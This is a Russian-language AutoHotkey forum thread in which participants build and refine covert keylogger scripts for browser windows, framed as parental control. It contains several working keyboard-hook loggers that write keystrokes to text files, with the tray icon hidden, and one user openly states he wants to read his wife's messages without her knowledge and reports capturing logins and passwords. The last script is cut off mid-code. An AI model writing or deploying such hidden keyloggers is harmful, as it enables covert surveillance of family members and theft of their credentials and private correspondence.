1

Тема: AHK: сохранение активности клавиатуры в определенном окне

С АХК немного ознакомился, уже пишу маленькие скрипты, но продолжаю удивляться возможностям АХК. И вот в голову засела идея и я не знаю как ее воплотить в жизнь.
Задумка следующая:
Есть определенное окно, к примеру с адресной строкой. Возможно ли сделать так, что бы все, что будет написано в этом окне вообще и отдельно в адресной стоке сохранялось в тхт фаил? При всем этом, скрипт не должен проявлять активности, т.е. кроме значка в трее не должно быть видно, ничего!

2

Re: AHK: сохранение активности клавиатуры в определенном окне

DaVinchi, применение шпионских программ преследуется по закону!

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

3

Re: AHK: сохранение активности клавиатуры в определенном окне

teadrinker пишет:

DaVinchi, применение шпионских программ преследуется по закону!

А кто говорил про шпионскую программу?
Т.к. я являюсь владельцем компьютера, но при этом я действительно не хочу ставить всякий ХакСофр (аля кейлогеры), которые наверняка шлют куда то налево мою инфу. И хочу выяснить куда мое дитя лазит в интернете! Кстати ребенок очень качественно удаляет куки и историю с браузера!
Вот и хотелось бы написать такое, что не сможет быть найден на компе, без моего согласия!

4 (изменено: ilya20069, 2011-04-01 19:45:36)

Re: AHK: сохранение активности клавиатуры в определенном окне

Можно делать скриншоты экрана, кроме того, есть куча прог [1] [2] [3] парент контрола.

5

Re: AHK: сохранение активности клавиатуры в определенном окне

DaVinchi пишет:

И хочу выяснить куда мое дитя лазит в интернете!

Вообще-то, это проще было бы сделать с помощью какой-либо программы, делающей скриншоты время от времени. Возможно, в следующей версии моего ScreenCatcher`а будет такая возможность.

А нужен именно введённый текст, или все нажатые клавиши, когда окно было активно?

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

6

Re: AHK: сохранение активности клавиатуры в определенном окне

Одновременно писали!

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

7

Re: AHK: сохранение активности клавиатуры в определенном окне

Программы Аля Шпиён за детьми не пойдут по одной причине - Платные! Зачем мне платить деньги за то, что можно написать самому? Заинтересовал скрипт ScreenCatcher, но комп староват уже и переодически АВ так начинает тормозить, когда скрины делаются
Хотелось бы конечно что записывал нажатие клавишь, когда окно было активным! Хочу заметить, что мне не нужно что бы записывался все нажатия клавишь на компе! Есть всего пара программ в открытом пользовании для ребенка. В них то я и хочу увидеть, что же так тщательно скрывает дитё

8

Re: AHK: сохранение активности клавиатуры в определенном окне

Облазил сегодня весь инет в поисках более менее нормального софта. Один треш =\

9

Re: AHK: сохранение активности клавиатуры в определенном окне

Пока не совсем получилось. Не хочет (по крайней мере у меня) писать в русской раскладке, пишет только некоторые буквы: ё, ъ, ж, э, ю, остальные английскими символами (быстро перевести в русскую раскладку можно с помощью программы Punto Switcher). Может, кто подскажет, что я сделал не так.
Скрипт записывает нажатые клавиши в файл Keys.txt в своей папке.

   SetTitleMatchMode, 2
   WinTitle = Блокнот  ; указать заголовок интересующего окна или его часть

;  #NoTrayIcon   ; чтобы не было иконки в трее, раскоментируй эту строчку
   #Persistent
   SetBatchLines, -1
   OnExit, Exit
   hHookKeybd := DllCall("SetWindowsHookEx"
      , Int, WH_KEYBOARD_LL := 13
      , UInt, RegisterCallback("LowLevelKeyboardProc", "Fast")
      , UInt, DllCall("GetModuleHandle", UInt, 0)
      , UInt, 0)
   Return

Exit:
   DllCall("UnhookWindowsHookEx", UInt, hHookKeybd)
   ExitApp

LowLevelKeyboardProc(nCode, wParam, lParam)
{
   global Char, WinTitle
   WM_KEYDOWN := 0x100
   Critical
   SetFormat, IntegerFast, H

   if (wParam = WM_KEYDOWN && WinActive(WinTitle))
   {
      Char := Chr(GetCharOfKey(NumGet(lParam+0)))
      SetTimer, AddCharToFile, -20
   }
   Return DllCall("CallNextHookEx", UInt, 0, Int, nCode, UInt, wParam, UInt, lParam)

AddCharToFile:
   FileAppend, % Char, %A_ScriptDir%\Keys.txt
   Return
}

GetCharOfKey(vk)
{
   hWnd := WinExist("A")
   ThreadID := DllCall("GetWindowThreadProcessId", UInt, hWnd, UInt, 0)
   InputLocaleID := DllCall("GetKeyboardLayout", UInt, ThreadID)
   Return DllCall("MapVirtualKeyEx", UInt, vk, UInt, MAPVK_VK_TO_CHAR := 2, UInt, InputLocaleID)
}
Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

10

Re: AHK: сохранение активности клавиатуры в определенном окне

Это MapVirtualKeyEx что-то делает не так. Проблема известная, судя по поиску в Интернете.

11 (изменено: teadrinker, 2011-04-04 15:01:27)

Re: AHK: сохранение активности клавиатуры в определенном окне

YMP пишет:

судя по поиску в Интернете.

Вообще, поискать в интернете — сама по себе мысль здравая! Первый же топик, который я открыл, решил все проблемы.
Код под ANSI-версию AHK:

   SetTitleMatchMode, 2
   WinTitle = Блокнот  ; указать заголовок интересующего окна или его часть

;  #NoTrayIcon   ; чтобы не было иконки в трее, раскомментируй эту строчку
   #Persistent
   SetBatchLines, -1
   OnExit, Exit
   hHookKeybd := DllCall("SetWindowsHookEx"
                     , Int, WH_KEYBOARD_LL := 13
                     , UInt, RegisterCallback("LowLevelKeyboardProc", "Fast")
                     , UInt, DllCall("GetModuleHandle", UInt, 0)
                     , UInt, 0)
   Return

Exit:
   DllCall("UnhookWindowsHookEx", UInt, hHookKeybd)
   ExitApp

LowLevelKeyboardProc(nCode, wParam, lParam)
{
   global Char, WinTitle
   WM_KEYDOWN := 0x100
   Critical
   SetFormat, IntegerFast, H

   if (wParam = WM_KEYDOWN && WinActive(WinTitle))
   {
      vk := NumGet(lParam+0)
      Extended := NumGet(lParam+0, 8) & 1
      sc := (Extended<<8)|NumGet(lParam+0, 4)
      sc := sc = 0x136 ? 0x36 : sc
      Char := UnicodeToAnsi(GetUnicodeCharOfKey(vk, sc))
      SetTimer, AddCharToFile, -20
   }
   Return DllCall("CallNextHookEx", UInt, 0, Int, nCode, UInt, wParam, UInt, lParam)

AddCharToFile:
   FileAppend, % Char, %A_ScriptDir%\Keys.txt
   Return
}

GetUnicodeCharOfKey(vk, sc)
{
   ThreadID := DllCall("GetWindowThreadProcessId", UInt, WinExist("A"), UInt, 0)
   InputLocaleID := DllCall("GetKeyboardLayout", UInt, ThreadID)
   VarSetCapacity(Array, 256)
/*
   DllCall("AttachThreadInput", UInt, ThreadID
                              , UInt, DllCall("GetCurrentThreadId")
                              , UInt, 1)

   DllCall("GetKeyboardState", UInt, &Array)
*/
   VarSetCapacity(Buffer, 32)
   DllCall("ToUnicodeEx", UInt, vk, UInt, sc
                        , UInt, &Array, Str, Buffer
                        , UInt, 16, UInt, 0
                        , UInt, InputLocaleID)
   Return Buffer
}

UnicodeToAnsi(UnicodeString)
{
    AnsiSize := DllCall("WideCharToMultiByte", UInt, CP_ACP := 0, UInt, 0
                                             , UInt, &UnicodeString, Int, -1
                                             , Int, 0, Int, 0
                                             , Int, 0, Int, 0)
    VarSetCapacity(AnsiString, AnsiSize)
    DllCall("WideCharToMultiByte", UInt, CP_ACP := 0, UInt, 0
                                 , UInt, &UnicodeString, Int, -1
                                 , Str, AnsiString, Int, AnsiSize
                                 , Int, 0, Int, 0)
    Return AnsiString
}

Чтобы скрипт различал Shift-статус, можно раскомментировать закомментированное в функции GetUnicodeCharOfKey(), но возможно, это на что-то повлияет: у меня, например, Punto Switcher перстал переключать раскладку по шифту.

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

12

Re: AHK: сохранение активности клавиатуры в определенном окне

Скрипт работает изумительно. Но только там где статическое название окна! Используемый барузер Mozilla Firefox, переименовует окно по названию вкладки страницы! И все старания коту под хвост
Я так понимаю надо переводить с названия окна на PID?
З.ы. Спасибо огромное ребята, без вас бы я этот скрипт точно не написал. Моего уровня хватило бы только на шапку

13

Re: AHK: сохранение активности клавиатуры в определенном окне

Для FF название окна можно указать как ahk_class MozillaUIWindowClass.

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

14

Re: AHK: сохранение активности клавиатуры в определенном окне

Или просто Mozilla Firefox.

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

15

Re: AHK: сохранение активности клавиатуры в определенном окне

А что бы указать ряд окон, к примеру FF, Chrome, IE, их можно через запятую или как?

16

Re: AHK: сохранение активности клавиатуры в определенном окне

Для нескольких окон так:

   List =   ; указать список заголовков интересующих окон или их части через запятую
            ; без пробела после запятой: List = Блокнот,Mozilla Firefox

;  #NoTrayIcon   ; чтобы не было иконки в трее, раскомментируй эту строчку
   #Persistent
   SetBatchLines, -1
   OnExit, Exit
   hHookKeybd := DllCall("SetWindowsHookEx"
                     , Int, WH_KEYBOARD_LL := 13
                     , UInt, RegisterCallback("LowLevelKeyboardProc", "Fast")
                     , UInt, DllCall("GetModuleHandle", UInt, 0)
                     , UInt, 0)
   Return

Exit:
   DllCall("UnhookWindowsHookEx", UInt, hHookKeybd)
   ExitApp

LowLevelKeyboardProc(nCode, wParam, lParam)
{
   global Char, List
   WM_KEYDOWN := 0x100
   Critical
   SetFormat, IntegerFast, H

   if (wParam = WM_KEYDOWN && WinFromListActive(List))
   {
      vk := NumGet(lParam+0)
      Extended := NumGet(lParam+0, 8) & 1
      sc := (Extended<<8)|NumGet(lParam+0, 4)
      sc := sc = 0x136 ? 0x36 : sc
      Char := UnicodeToAnsi(GetUnicodeCharOfKey(vk, sc))
      SetTimer, AddCharToFile, -20
   }
   Return DllCall("CallNextHookEx", UInt, 0, Int, nCode, UInt, wParam, UInt, lParam)

AddCharToFile:
   FileAppend, % Char, %A_ScriptDir%\Keys.txt
   Return
}

GetUnicodeCharOfKey(vk, sc)
{
   ThreadID := DllCall("GetWindowThreadProcessId", UInt, WinExist("A"), UInt, 0)
   InputLocaleID := DllCall("GetKeyboardLayout", UInt, ThreadID)
   VarSetCapacity(Array, 256)
/*
   DllCall("AttachThreadInput", UInt, ThreadID
                              , UInt, DllCall("GetCurrentThreadId")
                              , UInt, 1)

   DllCall("GetKeyboardState", UInt, &Array)
*/
   VarSetCapacity(Buffer, 32)
   DllCall("ToUnicodeEx", UInt, vk, UInt, sc
                        , UInt, &Array, Str, Buffer
                        , UInt, 16, UInt, 0
                        , UInt, InputLocaleID)
   Return Buffer
}

UnicodeToAnsi(UnicodeString)
{
    AnsiSize := DllCall("WideCharToMultiByte", UInt, CP_ACP := 0, UInt, 0
                                             , UInt, &UnicodeString, Int, -1
                                             , Int, 0, Int, 0
                                             , Int, 0, Int, 0)
    VarSetCapacity(AnsiString, AnsiSize)
    DllCall("WideCharToMultiByte", UInt, CP_ACP := 0, UInt, 0
                                 , UInt, &UnicodeString, Int, -1
                                 , Str, AnsiString, Int, AnsiSize
                                 , Int, 0, Int, 0)
    Return AnsiString
}

WinFromListActive(List)
{
   SetTitleMatchMode, 2
   Loop, parse, List, `,
      IfWinActive, %A_LoopField%
         Return 1
}
Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

17

Re: AHK: сохранение активности клавиатуры в определенном окне

Я так понимаю фаил не записывается в автозагрузку?
Фаер Фокс пишется хорошо, а вот хром не хочет записывать . Конечно хром не очень то и нужен, но просто принципиально для того, что бы понять систему=)

18

Re: AHK: сохранение активности клавиатуры в определенном окне

У меня его нет, проверить не могу. Наверное, название окна неправильно указал. Как выглядит твоя переменная List?

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

19

Re: AHK: сохранение активности клавиатуры в определенном окне

Через виндовСпай понял что окно именуется не так как процесс и является не Хромом, а Гугль Хром

20

Re: AHK: сохранение активности клавиатуры в определенном окне

Ладно, чтобы закончить с этой темой, правильно так:

   List =   ; указать список заголовков интересующих окон или их части через запятую
            ; без пробела после запятой: List = Блокнот,Mozilla Firefox

;  #NoTrayIcon   ; чтобы не было иконки в трее, раскомментируй эту строчку
   #Persistent
   SetBatchLines, -1
   OnExit, Exit
   hHookKeybd := DllCall("SetWindowsHookEx"
                     , Int, WH_KEYBOARD_LL := 13
                     , UInt, RegisterCallback("LowLevelKeyboardProc", "Fast")
                     , UInt, DllCall("GetModuleHandle", UInt, 0)
                     , UInt, 0)
   Return

Exit:
   DllCall("UnhookWindowsHookEx", UInt, hHookKeybd)
   ExitApp

LowLevelKeyboardProc(nCode, wParam, lParam)
{
   global
   Critical

   if (wParam = 0x100 && WinFromListActive(List))   ; WM_KEYDOWN = 0x100
   {
      vk := NumGet(lParam+0)
      sc := NumGet(lParam+0, 4)
      SetTimer, AddCharToFile, -10
   }
   Return DllCall("CallNextHookEx", UInt, 0, Int, nCode, UInt, wParam, UInt, lParam)

AddCharToFile:
   FileAppend, % GetAsciiCharOfKey(vk, sc), %A_ScriptDir%\Keys.txt
   Return
}

GetAsciiCharOfKey(vk, sc)
{
   ThreadID := DllCall("GetWindowThreadProcessId", UInt, WinExist("A"), UInt, 0)
   InputLocaleID := DllCall("GetKeyboardLayout", UInt, ThreadID)
   VarSetCapacity(Array, 256)

   DllCall("AttachThreadInput", UInt, ThreadID
                              , UInt, DllCall("GetCurrentThreadId")
                              , UInt, 1)

   DllCall("GetKeyboardState", UInt, &Array)

   VarSetCapacity(Buffer, 2)
   DllCall("ToAsciiEx", UInt, vk, UInt, sc
                      , UInt, &Array, Str, Buffer
                      , UInt, 0, UInt, InputLocaleID)
   Return Buffer
}

WinFromListActive(List)
{
   SetTitleMatchMode, 2
   Loop, parse, List, `,
      If WinActive(A_LoopField)
         Return 1
}
Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

21

Re: AHK: сохранение активности клавиатуры в определенном окне

Может уже поздно, но внесу свою лепту.

Если язык неважен, а важен результат, могу выслать небольшой скриптик на AU3 который неплохо пишет клавиши, правда со всех окон в системе, то есть непрерывно, и пишет в файл. Сюда само собой выкладывать не буду. Писал не я, нашел на англоязычном форуме, чуток всего поковырял.

Кейлогер это хорошо, но все потом его тексты долго читаемы, поэтому я все таки присоединюсь к той части населения, которая посоветовала вам делать скрины. На самом деле все просто. Денег платить вообще не надо. Делается элементарно.
Нужно всего лишь заиметь планировщик задач например есть прекрасный nnCron под windows, сам его пользовал, с ним возможно сделать так, что бы скриншот делался только при активности пользователя, при простое компьютера, молчит.
Либо попробовать использовать встроенный в windows AT (не знаю сможет ли он периодически запускать скрипт или нет)
Еще как вариант написать строк 10-20 скрипта на AHK/WSH/AU3... на чем угодно, что бы запускал программу для снятия скриншотов + так же  нетрудно отследить активность пользователя, даже по координатам мыша.

НУ и программы которые отлично делают скрины:
Это отличный просмотрщик графики IrfanView пишет в разные форматы. Запускается как то так:
i_view32.exe /capture=2 /convert=c:\capture_$U(%d%m%Y_%H%M%S).jpg
Захват активного окна с сохранением результата в файл, в имени которого указано время захвата.

Так же есть еще одна обалденная прога nircmd
Запускается как то так
nircmd.exe savescreenshot "c:\temp\shot.png"
Так что вот.
Если вдруг заинтерисуетесь могу рассказать как создать очень интересную папку в которой невозможно будет полазить и просмотреть файлы, но туда будут писаться скриншоты.

Развивать тут тему не будем, если что пишите в личку.
(Хоть бы не забанили меня тут, щас еще скажут, что я злодей, плохому учу.)

Нас невозможно сбить с пути, нам пофигу куда идти.

22

Re: AHK: сохранение активности клавиатуры в определенном окне

OFF:

DnsIs пишет:

…щас еще скажут, что я злодей, плохому учу.)

Плохому? Хххде?!

23

Re: AHK: сохранение активности клавиатуры в определенном окне

правда со всех окон в системе, то есть непрерывно, и пишет в файл.

Ну в принципе, то что я хотел, я добился. Но тема актуальна, так как это хороший пример для изучения! Главный вопрос: писать то пишет все подрят, а вот понять с какой программы какие клавиши написал возможно? Скинь ссылку на файлик в личку, поковыряю
Заранее спасибо!

24

Re: AHK: сохранение активности клавиатуры в определенном окне

а можно сделать что бы прописовался так же адрес из адресной строки куда и что я ввожу?

25

Re: AHK: сохранение активности клавиатуры в определенном окне

Ну так можно или?
Просто потом очень долго перебирать данные которые вводились.
Лучше было бы что б писался сайт откуда данные...

26

Re: AHK: сохранение активности клавиатуры в определенном окне

Смотря какой браузер. Если IE, наверное можно.

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

27

Re: AHK: сохранение активности клавиатуры в определенном окне

pro100_AHK пишет:

Ну так можно или?
Просто потом очень долго перебирать данные которые вводились.
Лучше было бы что б писался сайт откуда данные...

Цель данного топика была не Шпионаж за данными, а контроль общих действий в браузере! Меня к примеру не интересует пасс вводимый на почту!

28

Re: AHK: сохранение активности клавиатуры в определенном окне

DaVinchi пишет:
pro100_AHK пишет:

Ну так можно или?
Просто потом очень долго перебирать данные которые вводились.
Лучше было бы что б писался сайт откуда данные...

Цель данного топика была не Шпионаж за данными, а контроль общих действий в браузере! Меня к примеру не интересует пасс вводимый на почту!

Просто например, вот моя жена когда я на работе сидит дома и часто я ее вижу в онлайне в разных соц.сетях вот я и хочу узнать без ее ведома что и с кем она там переписуется!
А если спрошу у нее это будет розговора на целый вечер=)
И мне пришло много логинов и паролей от предыдущего скрипта вот только какой пароль и логи от даного сайта то это затруднения=(

29

Re: AHK: сохранение активности клавиатуры в определенном окне

DnsIs пишет:

Если вдруг заинтерисуетесь могу рассказать как создать очень интересную папку в которой невозможно будет полазить и просмотреть файлы, но туда будут писаться скриншоты.

Интересно, расскажите, конечно.

30 (изменено: ilya20069, 2011-08-14 12:48:44)

Re: AHK: сохранение активности клавиатуры в определенном окне

Ну чтож в рамках "парент контроля" выложу скрипт, если кто может потестируйте на быстродействие (желательно попечатать текст с ним 400-500 зн/м)
Сохраняет лог в D:\Test.txt
Понимает два языка русский и не русский(английский)


;*$vk41:: ; виртуальный код клавиши (в данном случае англ. A)
;Send, {Blind}{vk41} ;посылка нажатия 
;GetKeyState, stateShift, Shift ;проверка физического состояния кнопки шифт
;if stateShift = D ;если она таки нажата
;{ 
;FileAppend, %ShiftSymbol%, %logpath% ;то записать в лог символ нажатости шифт
;}
;GetKeyState, stateCaps, Capslock, T ;проверка состояния капс в системе
;if stateCaps = D ;если таки включен
;{
;FileAppend, %CapsSymbol%, %logpath% ;то записать в лог символ включенности капса
;}
;WinGet, WinID,, A                                                                                  ;функция проверки языка
;    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)  ;
;    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)      ;
;if InputLocaleID & 0xFFFF = 0x419                                                          ;проверка на русский язык
;{
;FileAppend, ф, %logpath% ;и если он таки русский записать в лог русский символ кнопки
;}
;else
;{
;FileAppend, a, %logpath%  ;иначе английский
;}
;Return

#NoTrayIcon
#MaxHotkeysPerInterval 700
Process,priority,,H
logpath:="D:\test.txt"
BackSymbol:="#B" ;символ для кнопки BackSpace (Будет записан в лог)
CapsSymbol:="#C" ; CapsLock
ShiftSymbol:="#S" ; Shift
FileAppend,  `n%A_MDay% %A_MMMM% %A_YYYY%  %A_Hour%:%A_Min%:%A_Sec%`n, %logpath% ; Отметка включения скрипта
$vk20:: ;пробел
Send, {Blind}{vk20}
fileappend,%A_Space%,%logpath%
return
$vk8:: ;  BackSpace
Send, {Blind}{vk8}
FileAppend, %BackSymbol%, %logpath%
return
*$vk30:: 
Send, {Blind}{vk30}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 0, %logpath%
Return
*$vk31:: 
Send, {Blind}{vk31}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 1, %logpath%
Return
*$vk32:: 
Send, {Blind}{vk32}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`", %logpath% ;" 
return
}
else
{
FileAppend,`@, %logpath%
return
}
}
FileAppend, 2, %logpath%
Return
*$vk33:: 
Send, {Blind}{vk33}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`№, %logpath%
return
}
else
{
FileAppend, `#, %logpath%
return
}
}

FileAppend, 3, %logpath%
Return
*$vk34:: 
Send, {Blind}{vk34}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`;, %logpath%
return
}
else
{
FileAppend, `@, %logpath%
return
}
}
FileAppend, 4, %logpath%
Return
*$vk35:: 
Send, {Blind}{vk35}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 5, %logpath%
Return
*$vk36:: 
Send, {Blind}{vk36}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`:, %logpath%
return
}
else
{
FileAppend, `^, %logpath%
return
}
}
FileAppend, 6, %logpath%
Return
*$vk37:: 
Send, {Blind}{vk37}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`?, %logpath%
return
}
else
{
FileAppend,`&, %logpath%
return
}
}
FileAppend, 7, %logpath%
Return
*$vk38::
Send, {Blind}{vk38}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 8, %logpath%
Return
*$vk39::
Send, {Blind}{vk39}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 9, %logpath%
Return
*$vk41::
Send, {Blind}{vk41}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ф, %logpath%
}
else
{
FileAppend, a, %logpath%
}
Return
*$vk42::
Send, {Blind}{vk42}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, и, %logpath%
}
else
{
FileAppend, b, %logpath%
}
Return
*$vk43::
Send, {Blind}{vk43}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, с, %logpath%
}
else
{
FileAppend, c, %logpath%
}
Return
*$vk44::
Send, {Blind}{vk44}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, в, %logpath%
}
else
{
FileAppend, d, %logpath%
}
Return
*$vk45::
Send, {Blind}{vk45}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, у, %logpath%
}
else
{
FileAppend, e, %logpath%
}
Return
*$vk46::
Send, {Blind}{vk46}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, а, %logpath%
}
else
{
FileAppend, f, %logpath%
}
Return
*$vk47::
Send, {Blind}{vk47}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, п, %logpath%
}
else
{
FileAppend, g, %logpath%
}
Return
*$vk48::
Send, {Blind}{vk48}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, р, %logpath%
}
else
{
FileAppend, h, %logpath%
}
Return
*$vk49::
Send, {Blind}{vk49}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ш, %logpath%
}
else
{
FileAppend, i, %logpath%
}
Return
*$vk4A::
Send, {Blind}{vk4A}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, о, %logpath%
}
else
{
FileAppend, j, %logpath%
}
Return
*$vk4B::
Send, {Blind}{vk4B}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, л, %logpath%
}
else
{
FileAppend, k, %logpath%
}
Return
*$vk4C::
Send, {Blind}{vk4C}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
